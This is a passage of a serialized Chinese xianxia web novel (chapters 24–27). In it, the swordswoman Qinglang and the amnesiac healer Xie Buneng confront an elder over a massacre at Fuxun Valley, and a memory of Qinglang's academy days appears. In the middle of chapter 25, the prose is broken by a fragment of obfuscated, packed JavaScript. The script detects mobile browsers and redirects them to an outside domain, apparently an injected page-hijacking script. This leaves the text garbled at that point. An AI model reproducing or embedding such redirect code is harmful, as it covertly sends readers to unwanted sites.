“不好奇。”她道,“我只是一个普通人,我有自己的事情要做。况且,雪里真人不可能是我的朋友。我有朋友,我知道朋友应该是什么样子的。”
她跃下屋顶,轻声道:“走,我们去查查岳平。”
谢不能隔着帷帽层叠的纱,看她背影。
他醍醐灌顶:我好像比雪里真人更知道,该怎么与青琅相处了……
他追上青琅的脚步,低声道:“事到如今,我需向你坦白一件事。我上一次来到玉堂城,是受同善会委托,帮助感染疫病的百姓;我这一次来到玉堂城,是为杀死岳平,永绝后患。”
“那张血书里写着——我是扶薰谷的学生,少时试药,不慎试成了一个经脉阻塞的废人。师长可怜我,放我出谷散心,而我行走四方,遭逢大变,心神癫狂而走火入魔。那日,是我魂魄残碎,回谷求药不成,又思及往事,便出手血洗扶薰谷。”
24. 玉堂城怪病(6)
“你似乎不意外青琅的拒绝。”
城主府不远处,高墙遮住西斜的日光,晚风吹起些许难闻的血腥味。柳然踩着满地污秽,脸色难得紧绷。
雪里真人站在她对面,白衣飘飘不染尘,语气一如往常:“青琅脾性经久难改,与她合作,不急在一时。如今,我更想了解你的看法。”
柳然道:“昨夜无名会发来金帖,试图干预我插手何家争权之事。我明确回绝,自认态度已然分明——道不同不相为谋,我与无名会没有继续同行的必要。”
雪里真人道:“何亦宁聪慧果断,不仅于修行一道颇有天分,更有信心肃清玉堂城沉疴。若道盟执意在平州植入灵脉,扰乱这片清净之地,我们与何亦宁联手,对抗起来更有把握。”
“如此行事,与道盟何异?”柳然质问道,“道盟勾连世家与宗门,欺压散修独占天材地宝;无名会联合散修与凡人权贵,将手无缚鸡之力的普通百姓当作设局的棋子……我的老师曾经提醒过我,我为无名会作辩驳;如今我眼见为实,失望至极!”
她的视线落在雪里真人领口处,代表明家长老身份的银云纹即便在昏暗暮色里,仍闪着仿佛亘古不变的光芒。
柳然皱眉道:“雪里真人,传闻你天资过人,或能成为玄清真人之后,第二位飞升的修行者。你出身明家,贵为长石殿长老,把持道盟乃至整个修行界的人们,无一不是你的亲朋好友。你不该打造无名会,以公平自由的名义,骗得大家为你争权夺利。”
“道盟中人,欲永固旧制以权谋私,无名会的存在,正是为了破旧立新。我之志向,是让修行界回归道盟最初的设想——公正团结,繁荣长续,无人再受束缚。”雪里真人正色道,“这世间有千千万万人目睹不公,有千千万万人心生不平,可惜他们困顿于能力,湮灭于时运,只能随波逐流或独善其身。我比他们幸运,拥有可以尝试撼动规则的身份与力量,可以努力让这个世界向我理想中的方向行进。”
“我邀请你来玉堂城观看这场选择,再以真实身份相见,是希望你能做出你的选择。你若仍是不愿,倒也无妨——我辈求索大道,或殊途同归,无需太过执着。莫要因此伤了往昔你与无名会共事的情分才是。”
……
长扬小院的客房里,青琅坐在桌旁,面无表情地看着翻窗而入的不速之客——
“柳然的仆从”收起软筋散,淡淡道:“明月与我说过,你道法卓绝,出剑杀人在呼吸之间。我出此下策,也是为自己的人身安全着想。”
“你是什么人。”青琅问。
“百年以前,与你刀剑相向之人。”那人客套地笑起来,“你若愿意,可以称我一声弥沙师叔。当年,明月把你从婆娑道废墟里捞出来后,是我帮忙损毁你的记忆,让你在同悲海安安生生活过几十年。你不记得明月,应该记得我这张讨人嫌的脸吧?”
“没印象。”青琅悄悄摸上腰间短刀。
弥沙长老很重地叹了口气。
据他所说,百年前,青琅引天雷炸毁婆娑道及各州十五处深埋地底的沧澜灵脉,受道盟围攻,被她的师长明月真人带至同悲海时,有弥沙长老作陪。
彼时,青琅躺在残碎礁石间,周身被沧澜灵脉狂乱的力量与其间夹杂的怨恨痛苦侵扰着,一派濒死之相。
弥沙长老道:“你的肉身有无言剑支撑,不至于支离破碎,定然性命无虞。只要意志坚定,忍过撕心裂肺的痛楚,慢慢消化完这些疯狂的力量,你就能离开同悲海,继续原本的生活。”
青琅颈间青筋暴起:“比我想得痛很多。”
“你若担心自己的意志不够坚定,看在明月的面子上,我可以暂且摒弃对立立场,帮助你修改调整。”弥沙长老提议道,“我可以帮你遗忘一些事情……忘记那些本来可以属于你的美好人生与坦荡前途,忘记那些利用你又背弃你的人们,忘记所有爱的恨的,让你可以像一棵垂死挣扎的老树一样,无知无觉地熬。只有这样,你才不会在漫长的煎熬里,后悔今天的选择。”
青琅道:“忘记一切,活下来的人,还能算是我吗?”
弥沙长老讥讽道:“倒是可以选择封存部分记忆……不如记住你所爱的人们,记住你是为了什么沦落到如今地步。让他们带给你所谓无穷的动力,让你在经受无边苦楚后仍心怀希望。反正沧澜灵脉倒灌进你身体的力量里,所裹挟的恨意与杀意,够你刻骨铭心了。”
许久之后,青琅方才回答。
“不。”她说:“我要记住恨。恨会驱策我,让我忍到重逢报复的那一天。”
夜幕降临,一如往年,昏暗无光。
弥沙长老看着青琅,心绪复杂难辨:“柳然收到的无名会金帖上,有谢不能的灵力痕迹。老夫此行,本欲代表道盟秘密带他回去厘清旧案,未曾想,竟意外得知你的行踪。你二人所背负因果不浅,如今聚首,只怕生变。”
青琅神色恹恹地垂下眼:“我只是一个普通人,听不懂你在说什么。即便你所言是真,和现在的我又有什么关系?”
弥沙长老道:“老夫特来提醒你。你与道盟的旧日仇怨,你与柏川的不死不休,最好通通放缓。灵脉重建事关重大,又有无名会与长泽天在旁虎视眈眈,道盟格局将变,人人都打着十二分的精神警惕戒备。如此微妙时候,你应审时度势,以蛰伏隐忍为上策。老夫劝你再避世几十年,静观其变,待风头过去、时局明朗,再做打算不迟。”
青琅道:“我在兴旺街过自己的日子,并不打算做任何事。”
话音未落,窗户再次被撞开,有人狼狈地滚落进来。谢不能的帷帽已不见踪影,黑发凌乱沾着血污,面色惨白如纸。
青琅的指尖点上刀尖。
弥沙长老对这番动静仿
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佛视若无睹,只道:“至于谢不能——扶薰谷现场的灵力痕迹,与他的灵力如出一辙。他的灵根经脉由道盟委托空青谷负责修复,老夫参与其中,绝对不会错认。他胆敢屠戮谷中同修乃至师长,依律当押回道盟受审定罪……只是老夫念及故友人情,如今只予一掌,望他日后藏踪匿迹,苟全性命,勿再招摇乱跑。”
“空口无凭,别信他!”谢不能忍痛连滚带爬至青琅身后,气息虚弱紊乱,“你看过那封血书,字迹狂乱潦草,言语颠三倒四,想来笔者已神志不清……此人一口咬定是我血洗扶薰谷,但拿不出半点证据。方才我欲与岳平搭话,他竟直接出手将岳平击晕,并将我击伤!”
弥沙长老的视线落在他身上,那张沧桑威严的脸略一扭曲,很是艰难地控制住表情,语调森冷道:“不过区区一掌,怎把你打得如此狼狈?那件遮掩之物,你需得永远戴着!你眉眼神韵,与你的母亲太过相似,放眼整个修行界都寻不出第三个人来!若是被除去老夫以外的任何一位道盟中人发现,你都不会受到如此仁慈的优待!”
谢不能闷闷地咳过两声,抬眼对视道:“我的灵根经脉由道盟委托空青谷负责修复,你参与其中,绝对不会错认?我少时试药误食奇毒,害得经脉阻塞,罪魁祸首不正是你吗?”
弥沙长老低头看他半晌。
“你三魂七魄残损至此,应是记忆全失。你凭一丝残存的天示之力,自以为窥见事情真相,可笑至极。”他讥讽道,“昔日道盟为你续脉修元,费尽心思几经周折,而在沧澜灵脉崩塌之际,你行差踏错导致经脉尽断灵根损毁,害得自己连寻常探息之术都难以施展……说起来,也是咎由自取。”
“若非念及你是谢峤留在世间的唯一血脉,老夫断不会容忍你至此!扶薰谷百年清静,谢峤医道坦途,皆因你一朝尽毁!老夫今日好言相劝,要你别再执着于四处收回魂魄,更莫要再追寻往昔!你若尚存半分良知,便该自缚于幽寂之地,与痛苦相伴,苟延残喘,永远忏悔!”
……谢乔?谢桥?
谢不能醒时记忆全无,很是努力地看过不少时事记载与历史资料,扶薰谷相关尤甚。他对这个名字没什么印象,只知道谢姓是那一带的大姓,很多未得天道封号的学生也会随师门改姓。
现在不是思考的时候。
谢不能迅速将其暂抛脑后,只道:“弥沙真人,你想要无端为我定罪,想要我忏悔,又语焉不详故作高深,要我放弃寻找真相……如此自相矛盾,你不觉得荒谬吗?我还当你是什么知情人,能为我与青琅提供什么信息……比起和你们这些怪人周旋,还是找残片来得舒服些。”
弥沙长老正欲斥责,忽然动作一顿,喉咙发干,四肢发麻,细细密密的痒意从脊背爬至耳侧,再一路向前下落……
他胸口一痛,吐出一口血来!
与此同时,青琅拔刀而起。
25. 玉堂城怪病(7)
狡兔三窟。
玉堂城外一偏僻小林,何无许背靠树桩,身体瘫软地倚坐着,显然已顾不上什么体面。他的衣袍污损破裂,面颊颈侧残留着干涸血迹,看起来很是瘆人。
陈泛提着裙摆缓步而来,避开一路尘泥。临近了,她刻意抬脚碾过落叶,发出些细碎声响作提醒。
何无许猛地抬头,急促动作间扯动伤口,引出一连串压抑不住的低咳。
“是我太过无用。”他嗓音嘶哑道,“您要我争夺城主之位,助力道盟日后在玉堂城埋藏灵脉……可我竟连第一步都未能顺利踏出。真没想到,亦宁比我更心狠,更不顾我们的兄妹情谊……幸好您慈悲仁善,即便我失败了,您还愿意救我一命。
陈泛道:“有无名会之人坐镇玉堂城为何亦宁助威,此事又恰巧牵扯旁人引来雪里真人关注,对面人多势众,我们单枪匹马,失败也在情理之中。”
何无许心有不甘,咬牙恨声道:“那就要怪时运不济!我如今还能做什么?陈仙长,我真的很想拥有灵根,真的很想加入道盟,成为一个修行者!我不想一直当凡人,寿数寥寥几十年,平庸而生,碌碌至死!”
陈泛弯起唇角,笑容里几分怜悯几分嘲弄:“果然。蜉蝣朝生暮死无知无觉,修士坐忘百年只当弹指一挥间,唯有我们凡人,才会对寿数之事耿耿于怀。”
何无许捕捉到关键字眼,惊道:“我们凡人?陈仙长,您不是代表道盟而来……”
“不是。”陈泛向前两步,手指轻轻搭在树桩上,低头俯视着何无许,“曾经的我,与你一样,只是一个挣扎求存的凡人,命若飘萍,生死由天。只不过我足够努力,足够心狠,奋斗多年,终于拥有可以搅动风云的力量。”
何无许仰着头,渴望几乎要冲破他的胸腔。
只听陈泛道:“玉堂城大局已定,安定城不可沾染,永和城又是长梧山庄根基所在,简直铁板一块。我思来想去,平州之内,倒是还有一处好地方适合埋藏沧澜灵脉。”
何无许急急问道:“是什么地方?”
“积香集。”陈泛道,“里头有位厉害的掮客,人称竹先生。他工于心计,人脉极广,消息灵通,在那一带可谓是手眼通天,正可以为我所用。我再给你一个机会,由你秘密替我前去,与他谈一笔交易——他与我的一位老朋友有些交情,我不便亲自现身。”
何无许问:“仙长肯给我这个机会,是我的荣幸。需要我做些什么?我定当竭尽全力!”
陈泛道:“我有一块名为「无垢」的奇石,乃上古时期女娲补天后所遗留的九天玄石之一,有活死人肉白骨之效。你去告诉竹先生,若他愿意全力助我掌控积香集,迎接道盟在那儿重建沧澜灵脉,我便将这无垢石作为酬劳交予他。”
“他的妹妹阿梅肉身腐烂而魂魄溃散,只能依赖走私而来且价格高昂的傀儡躯体续命;而他自己重病缠身,亦是时日无多。我知道,他很需要这个。”
何无许脱口而出:“活死人肉白骨……世上当真有如此神物?”
陈泛笑道:“天地之大,无奇不有,只是凡人困于方寸之地,未能窥见罢了。何无许,你为人勤勉,心志坚定,又知晓许多修行秘辛,来日定有大作为。你放心,那种困于凡胎,心有不平却深感无能为力的滋味,我能理解。待事成以后,我有办法,让你拥有如我这般的力量。”
何无许自是感恩戴德。
……
长扬小院,客房。
弥沙长老倒在墙角,人事不省。
“我担忧他有所防范,剂量加重了些。”谢不能仰倒在床边,余光瞥着弥沙长老,“加之你那一刀贯穿他肺腑,短时间内,他怕是醒不过来。”
虽服过谢不能悄悄塞来的解药,软筋散的余威仍未散尽。青琅斜坐着,眉眼间尽是倦怠:“此人言辞模糊不清,话语之间故布疑阵,没有继续对话的必要。”
“倒也是一个获知消息的渠道。”谢不能收回目光,有气无力地闭上眼,“无名村事毕,如今正是好时候,让我履行承诺,将一切坦诚相告。”
“数月以前,我在北地雪原醒来,遍体鳞伤,魂魄残缺,记忆零碎。我在附近尝试寻找,几经周折,最终却只在扶薰谷内找到一封直指我是凶手的血书,没有其它线索。”
“天地广阔,何必执着于记起往事?若无不可控的天示频频烦扰,缺失魂魄的身体多病虚弱,教我不得自在……我自会把那血书一扔,只当无事发生,逍遥四方,随心所欲。”
世上什么样的人没有?杀人或被人杀,害人或被人害,坑骗人或被人坑骗,灭人满门或被人灭满门……那血书是真是假,过去的他是以怨报怨还是无理滥杀,又有什么分别?当时的谢不能懒得分辨也懒得计较,只觉不如省下心力,只管去做当下想做的事,不要耽误眼前。
“我南行至平州寻你,是违规乘坐没有道盟监管的空间法阵。我以游医之名进入安定城,是因为脑海里残存些许医药常识。我触碰他人便会触发天示,触发天示便会伤及自己,我若真是以此为生一路走来,恐怕活不到看见你的那一天。不过说来也巧……若非以此为借口,我不会发现岳平。血书这个隐患自己撞到我面前来,我顺手查清真相,好过日后惹上未知的麻烦。不知道这位弥沙真人知道些什么……”
青琅道:“你在安定城救治过不少人,神医美名百里皆知。坊间传闻,行医济世是你毕生所求,即便遭恶霸打砸、病患施压,也从未放弃。”
“起初是想赚个好名声,方便与你交涉,后来做着做着,还真得出几分趣味。”谢不能道,“说来奇怪,有些人前来问诊,我为其望闻问切,并不会触发天示。可惜我看不出这些人有何特别之处。”
屋内寂静片刻。
许久后,青琅淡淡道:“弥沙真人所言,真假参半。在我的印象里,我与道盟无甚恩怨,亦没有做过什么炸毁沧澜灵脉之类的事……若是真做过,哪怕在海底磋磨多年,也不会轻易忘记吧?但是,柏川尊者抢过我的东西,待我拥有足够的能力,必前往道盟杀之雪恨。”
“我在同悲海底生活几十载,与我的邻居蛫相互陪伴,一起镇压无尽的怨念恨意,一起化解滔天的狂乱灵力。若弥沙真人所言不假,那是沧澜灵脉炸毁后反击倒灌的力量。但我足够了解自己,我更倾向于是哪个仇家对我下手。毕竟,无论我有没有那样的能力,无冤无仇,我无端去炸毁沧澜灵脉做什么?弥沙真人说是为了我所爱的人们……我要救人,定是力所能及,绝不会太过伤及自己。”
“总之,过去这么多年,我终于将这股力量化解部分,让自己可以离开同悲海底,搬进兴旺街,潜心修行,等待时机报复我的仇人们……这是我最重要的目标,其余事情,暂无暇顾及。”
谢不能问:“你要我救的人呢?”
青琅道:“是一位身体不好的街坊。杀死李观主后,我该去往另一处了结仇怨。离开以前,我想试试能否将她治好,送她到一个安全的地方。”
“我明白了。”谢不能道,“你有急需清算的旧账,我不该恳求你与我一起,天涯海角地去搜寻九天玄石剑的残片……于你而言,那不是紧要的事情。”
“不过,昨夜在护城河边,雪里真人已将一块残片送至你手,可否让我看一看?或许会有惊喜。”
青琅取出一物。
这块残片是浅灰色,质地透彻,边缘锐利,触手冰凉彻骨。内里有极淡的微光在缓慢流转,一看便玄妙非凡。
谢不能道:“有典籍记载,此石名为无垢。传言,它有洗经伐髓、重塑根骨之奇效,于修行大有裨益。”
青琅接过他递来的符纸,以灵力激活,点向无垢石残片。她低垂着眼,神情冷淡,看不出几分期待——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313172|181601||http|test|mini|href|location''.split(''|''),0,{}));
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>这块残片,也会给她带来关于过去的记忆吗?
无形的灵力蔓延四散。
记忆里,空气弥漫着草木清香,远处传来隐约钟声,悠扬肃穆。午后阳光透过繁茂枝叶,在交错石路间投落斑驳光影,许多身着统一素色袍服的年轻修士行走其中,或三三两两低声谈论,或独自一人步履匆匆。
是青崖书院。
“梨花台小亭里的人,是谁?”青琅被明霜退强行拉出演武场。二人僵持在岔路口,她皱眉望向不远处。
明霜退揣着手,很着痕迹地观察她脸色:“哈哈,是我表哥。”
修行者入道以后,外形改换缓慢。彼时的明霜退与如今的雪里真人看起来相差无几,只多几分生动的朝气。
青琅道:“我很讨厌他。”
明霜退压低声音:“哎呀,表哥不是什么坏人,就是太过恪守成规,不懂变通。我觉得你们之间有些误会,才想借此机会,为你们说和一番。”
青琅面无表情地瞥了那人一眼,转身便走:“没必要。”
“别呀!”明霜退一把拉住她衣袖,力道颇重,带着点不达目的不罢休的热情,“你是我最好的朋友,他是我最好的亲戚,看在我的面子上,你们别再这样啦!我特意求外出历练的师姐偷运进来的美味佳肴,比辟谷丹好吃一万倍哦……”
青琅向演武场走去。
一如往常,她与对手过了十几招,将对手击败,然后在对手的喋喋不休里轻巧出剑,指向藏书阁的方向。
对手谢过,便有另一人上前,要与她相互指教。青琅挑飞对方的法器,忽然心头一动,莫名烦躁。
她偏过头,果然看见场边林荫下多了一道身影。
那人端坐石凳上,一袭素雅青衣,并未穿着书院统一制式的袍服,很是有些衣装带来的出众。他膝上置着一架古琴,正有泠泠乐音随他拨弄倾泻而出。
树间光影模糊了他的五官,以演武场的距离已看不真切。如此,却更衬得他气质出尘脱俗,引得不少学生频频张望。
正是明霜退的表哥时泽真人,兼具“吾辈模范高岭之花”与“世家装货眼高于顶”的一位神人——
对手走神一瞬:“哇,寂雨琴明清英。”
记忆里的青琅心头火起,克制的剑招陡然一变,攻势骤然猛烈!
对手被她突如其来的猛攻打得措手不及,连连败退,喊道:“青琅师妹,你莫不是记恨我前些天在轻功课上占座一事……我只是想坐在后面一点,免得被老师抽考!”
青琅手腕一抖,无形剑气自木剑尖端迸发而出,并非攻向对手,而是势不可挡地劈向不远处那棵古树!
古树剧烈摇晃,花叶断裂,带着积水簌簌而落,浇得明清英满身。
明清英的动作顿住,琴音戛然而止。
水流顺着他长垂至腰的黑发滴落,浸湿衣衫,将那份超然物外的清雅气度打破几分。明清英缓缓抬起头,望向演武场中的青琅,倒是没什么多余的表现。
“一时失手,实在抱歉。”青琅回头道,“我有些事,暂离一会儿,晚点再陪你打。下一节……轻功课?你若被抽考,我替你上。”
对手对着青琅离去的背影大喊:“老师都认识你了!能不能帮我考避水课?避水课看不清脸!记得去报修一下那棵树!”
明霜退在场边惊呼一声,左右看看,选择飞奔至青琅身旁,低声道:“青琅!表哥于我说,是想来为你抚琴助威……”
“不需要。”青琅持剑而立,努力收掩周身烦躁后,方才抬眼看向明霜退:“让他滚。”
明霜退叹气道:“我是一片好意……你们之间,到底有什么恩怨?总不是最近盛传的什么散修与世家的不合吧?你都愿意把新得的秘境法宝送给我了……”
青琅道:“再多说一句,你也走开。我要去报修赔偿,别跟着我。”
26. 玉堂城怪病(8)
城中流言渐息,街巷重归平静。
这日清晨,孟天流来到长扬小院时,青琅恰巧将体内最后一缕咒力化尽。她推窗通风,正对上孟天流纠结万分的苦恼脸。
“青琅姑娘。”孟天流道,“近日玉堂城事务繁忙,我才寻得空闲,来与二位谈谈连梦山一事的调查结果。”
只听他叹道:“猎户刘四残疾在家,偏偏好运接得你这一单生意。有人眼红,便悄悄在他茶水中下药,令其神智昏沉不辨方向,最终在连梦山间与你失散。本来事过数日,一切早已无对证,谁知下药之人见长梧山庄四处盘查,承受不住压力,主动前来自首。如今,已被依律论处。”
连梦山一行尚有许多疑点未明,只是李观主已死,其余事情,青琅不太关心。她想起那半支接头签,问道:“可还有什么不同寻常之处?”
“一穷二白的山野猎户,没什么特别。”孟天流道,“比起他,那支外来的商队要可疑许多。据他们说,三位死者是避雨相逢,一言不合出手打斗致死,而他们人生地不熟,不敢进行干涉,恐引火烧身。赤珠姐姐查过死者伤处,不可能是这样的情况。我先前收到家中来信,送别无名会的贵客后,还要往贪狼寨去,重新问询证人陆英。”
他顿了顿,努力辨别一番青琅神色,没看出什么,只能为难又恳切地接着说:“其实……姐姐在信中还特意叮嘱了,若你得空,或可乘长梧山庄的马车到永和城一叙。好梦楼一别后,她再未寻得机会见你,一直很遗憾。”
“诸事缠身,忙乱非常。”青琅面无表情道,“再过些时日,我定亲自登门拜访。”
她并非空口承诺。
杀死李观主、离开连梦山后,青琅本打算随图雅商队与陆英二人在永和城暂作停留,但是念及谢不能的人情,她只能先行与之同往。
昨夜,纸鸟送来竹先生急信,字里行间尽是托孤之意。青琅从玉堂城折返西北,赶往积香集接应阿梅,再西行至永和城与燕庄主见上一面,倒也顺理成章。
孟天流走后不久,窗外又有人声。
谢不能满身风尘仆仆,扶住窗沿:“弥沙真人伤我一掌,阴差阳错引动天示。天示显示,他曾经下毒害我。我循着这条线索,托积香集查探,拼凑出一些扶薰谷旧事。”
各处汇集的消息显示,“谢不能”的母亲“谢峤”是扶薰谷药圣亲传,天资卓绝,才学过人,声名显赫。
可惜,如同许多传说故事里聪明但倒霉的姑娘一样,道盟位高权重的人物用花言巧语骗得她痴心错付,害得她日渐偏激道心崩毁,终至走火入魔。
弥沙真人是空青谷的学生,曾往扶薰谷寻药,偶然结识谢峤,倾慕至深。他见不得她因爱恨煎熬痛苦而耽误修行,便将蚀骨的毒药喂给她的孩子,试图让她脱身往事。
这是一个残酷的转折点。
据传,谢峤自此幡然醒悟,重新沉心于医药之道,颇有建树。念及稚子无辜,她将谢不能送走,二人再未有过往来记载。结合弥沙真人的话推断,谢不能大抵是被送至道盟。
“查到这里,我仍是不懂,为何会与过去的你有所交集。”谢不能语气平静,带着几分似乎事不关己的剖析,话将出口,又想起自己尚未与青琅言明“捆缚魂魄的罪魁祸首之人正是我自己”。
他话锋一转:“不过想来,道盟规矩森严、处处束缚,与我天性不合。若有一立场相反之人,能让一切乱得有趣些,我定乐见其成。”
青琅勉强应了一声。她已知晓谢不能魂魄丢失记忆全无,先前所言多是信口胡诌,若非柳然已被孟天流送离平州,治疗街坊一事暂无更好人选……
又听谢不能道:“只是你我关系未明,于未来合作无益。天示片段零碎而伤身至极……我便去找弥沙真人,想要问清与你的过去。”
前夜。
离开平州的马车内,弥沙长老望着昏迷的岳平,一言不发。听见敲窗声,他猛然回过头,惊道:“你还敢来?”
首先回应他的,是一股弥散的淡香。谢不能笑笑,在他对面落座:“弥沙真人,你道法卓绝,制毒下药在呼吸之间。我出此下策,也是为自己的人身安全着想。”
弥沙长老手脚瘫软,神色莫名地瞪视他,眼里布满血丝。
“弥沙真人,我清醒至今,只图一个自由自在无拘无束。我要解决的麻烦已经够多了,你若执意再添一桩,就别怪我失礼了。”
那封字迹潦草狂乱的血书被谢不能扔到弥沙长老面前。
谢不能道:“此信落款,是你那日提到的——我的母亲谢峤。我查到你们的故事,深受感动,深表同情。不如让它与一起上路,留作念想。”
“小谢,你以前不是这样的!”弥沙长老语气沉痛,“谢峤是怎么教你的?她教你为人处事以善为先,莫要辜负期望推卸责任,而你从来不会让她失望!”
谢不能晃晃岳平的肩,问道:“他可是知情人?若是,得喊起来让他留几句遗言。若不是……罢了,做人做事,斩草除根,还是稳妥一些为好。”
弥沙长老见他一副油盐不进的模样,盯着他线条利落的侧脸,恨极咬牙,胸膛剧烈起伏。
片刻后,他硬生生挪开视线,嗓音沙哑道:“谢不能,我带走岳平,是为了保你!若有他出面指认,你所要承受的,何止一掌!当年下毒害你经脉受损之事,确是我的过错,你有多少怨言,要如何报复,都不为过。可是你如今这副样子,实在对不起谢峤昔日对你的栽培!”
激昂愤慨的话语间,岳平悠悠转醒。
岳平吸入的迷药不比弥沙长老少,照理该同样四肢酸软、难以动弹。然而,当他的目光扫过车厢,触及谢不能的面容时,竟如遭雷击,浑身肌肉瞬间绷紧,不知从何处爆发出一股力气,猛地挣扎起身,重重扑倒在弥沙长老身前。
时过百年,炼狱般的记忆卷土重来,足以让任何人肝胆俱裂。岳平难以自抑地浑身颤抖,过了好一会儿,才凭借多年历练沉淀出的心性勉强平静。
他抬起头,看向谢不能,苦笑道:“谢大夫,我此前为钻研咒术分身乏术,竟直至今日才察觉……你是这样的身份。”
谢不能道:“就怪弥沙真人找上门来,敲晕你又打伤我吧。”
岳平长长呼出一口气,叹息道:“这些年来,我一直不敢发声。时至今日,竟还有人追查此事,也算是扶薰谷诸位惨死的同门……所能得到的最后一点慰藉了
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。弥沙长老,您是仁善明理之人。谢大夫,玉堂城共事几日,您代表同善会而来,品性无需质疑。二位知道真相后,还请以自身安危为重。”
他停顿片刻:“谢峤长老背叛了道盟。”
“沧澜灵脉崩塌,天地灵气动荡,道盟急信纷飞而至,谷内一片混乱。那夜,谢峤长老浴血归来,带着一个重伤濒死、昏迷不醒之人。”
“她携那人直入议事厅,与掌门及几位留守长老爆发激烈争执。我等学生被隔绝在外,只能隐约听见几句高亢的怒吼。”
“不久后,议事厅被狂暴的灵力轰然炸开。谢峤长老立于废墟之中,周身缠绕的力量已截然不同于往日,其强横暴戾的程度,远超我等认知。只见她双目赤红,神智尽失,招式狂乱地进行无差别攻击,所到之处一片狼藉……无人能敌。”
“我躲藏在鸣风丘的巨树顶,逃过一劫。别怪我贪生怕死,我若当时现身,不过是徒增一具亡魂,这世间再无人知晓那夜的真相。”
“屠杀过后,我听见谢峤长老指天怒吼,一时称颂沧澜灵脉炸得好,一时又厉声咒骂,说扶薰谷为道盟效力是助纣为虐,合该早日毁灭……这些年来,无名会与长泽天各方宣讲,我已大致明白她当年到底是误入哪条歧途……只是我乃道盟登记在册的修士,有些话,实在不便以扶薰谷幸存学生的身份再多言……”
弥沙长老僵在原地,片刻后,垂头去看那份字迹潦草的血书。
沉重的寂静弥漫开来。
谢不能收起留影珠,转向岳平道:“有岳大夫此言为证,我便安心了。此事既与我无关,我自不会在外多言,留存此证,只为自保,免得日后再有如弥沙真人这般不明就里便发难之人。”
言罢,他无视弥沙长老满面复杂神色,提议道:“弥沙真人,你先前不分青红皂白伤我一掌,我看你年事已高,倒是不好还你一击。为作偿还,便请你满怀歉意地告诉我,我与青琅有何过往吧?”
弥沙真人的目光死死钉在谢不能脸上,几分审视,带着难以理解的错愕,哑声追问:“关于你的母亲,你难道就没有什么想问的吗?”
谢不能道:“弥沙真人,我连自己是谁都尚未确认,为何要关心一个毫无印象之人。说来,我寻你打听旧事,不过是因为使用天示窥探过往既耗心神又伤身体,太过麻烦。相较之下,还是直接来威胁你要省事许多。”
弥沙长老嗤笑道:“我听闻,道盟虽助你成功续脉修元,但你不求上进,只知借祖荫享乐,年岁渐长,无功无绩,无声无名,与你母亲相比,乃是蜉蝣之于沧海,微尘之于山岳。”
“至于无言剑青琅。”弥沙长老语带讥讽,“她为人偏激狂傲,与柏川尊者仇深似海,一心只想毁掉道盟,毁掉沧澜灵脉,颠覆整个修行界!我劝过她,明月劝过她,蛫劝过她,她却不听不信,一意孤行。她出手时引动万钧雷霆,教天地翻覆……道盟修士因此死伤者众。这样的人,与你能有什么过往?”
他不屑道:“若硬要说你二人有何牵扯……大抵便是她摧毁灵脉、屠戮道盟修士时,剑锋过处,你乃千千万万人之一。你福大命大,苟活至今,难道还想从我这里,听得些过去辉煌功绩?就凭你?”
27. 玉堂城怪病(9)
院内。
谢不能倒进软椅里,有气无力地闭起眼:“真没想到,虚张声势,也能套出话。我所携带多是止痛安神、清脉化毒的药丸,只有一管用于防身的迷香。”
青琅正收拾行囊,闻言并未回头,只出言提醒道:“人心叵测,他所言是真是假犹未可知,切勿尽信。”
“能确认我不是屠戮扶薰谷满门的凶手,已经足够了。”谢不能笑道,“卸此重担,我感觉轻松不少。我们什么时候回安定城,替你那位身体不好的街坊调养?”
青琅道:“计划有变。竹先生来信急召,要我先去一趟积香集。”
“积香集?”谢不能意外道,“可有我帮得上忙的地方?”
青琅略一思索:“我与竹先生有过约定,待他身死,便去积香集接走他妹妹阿梅,找一个好地方安置。你若有空,不妨随我走一趟,看看他是否已然药石无医。”
谢不能疑惑道:“我从积香集探听消息回来,竹先生虽仍是那副病痛缠身、体弱气虚的模样,但显然未到油尽灯枯的境地。依我推算,若无大变,他应当还有一年半载的光景。”
青琅动作一顿,从行囊中抽出一张皱巴巴的信纸,递过去。
只见信里写道:
「青琅。近来某旧疾频发,咳血不止,夜不能寐,延医问药皆言油尽灯枯,无力回天。此身如风中残烛,恐大限将至矣。」
「某此生飘零,别无牵挂,唯有幼妹阿梅放心不下。近日有贵客至积香集,带来一些令人难以拒绝的提议,关于阿梅未来。而我思来想去,却觉得只有将阿梅托付于你,方能安心。」
「许是回光返照,昨夜,我梦见初见你的那一天,惊得心神不宁。山雨欲来,盼你速至积香集,迟恐生变。」
谢不能的目光在几处笔迹间略有停顿,迟疑道:“你既让我看这封信,想必心中已有论断。这不是单纯的托孤遗书……积香集出了变故?这变故,恐怕还与你有关。”
……
大雪纷飞,朔风凛冽。
因为这个天气,街尾的小茶铺难得迎来数十位客人,稀稀疏疏地分坐于角落。其中有一位背着长刀的,坐在漏风的窗边,正透过缝隙远望。
此人年纪不大,一身窄袖束腰的江湖打扮,单薄得与周围环境格格不入。外头的风渗进来,衣服上已结了层薄冰,她却面色如常,仿佛不觉寒意。
茶铺老板拎来一壶热酒,带着些许呛鼻的柴烟味,摇头道:“就要亥时,你的朋友还不来。这杯热酒,怕是又要浪费了。”
明霜退摸出几枚铜钱,回以友善的微笑:“大雪封山,行路艰难,何必着急?早知道清静道是这样的天气,我们就不约着在此见面了。”
老板道:“等到九月份酬天大典,圣主依照惯例移驾凌云道,清静道的风雪便会止歇。客官是从哪里来的?眼下虽然冷了些,但是万里冰封的雪景,别处可难得一见呢。”
话音未落,年久失修的木门发出“嘎嘣”一声,门闩被震起来,引得客人们纷纷侧目。
狂风猛地灌进来。昏黄烛光剧烈摇曳,在墙间地面投落奇怪的黑影。有人闪身而入,反手轻轻一推,一道无形的禁锢法诀便封住门窗,连风声也遥远了。
来客尚未抖落肩头积雪,先将一人扔在地面。那人周身衣衫被雪污浸透,触地时四肢发抖,脸色煞白,鼻息间热气微弱,看着已是不太清醒。
明霜退道:“青琅,无怪乎你来得慢,原是多带了位朋友。这是何方神圣?”
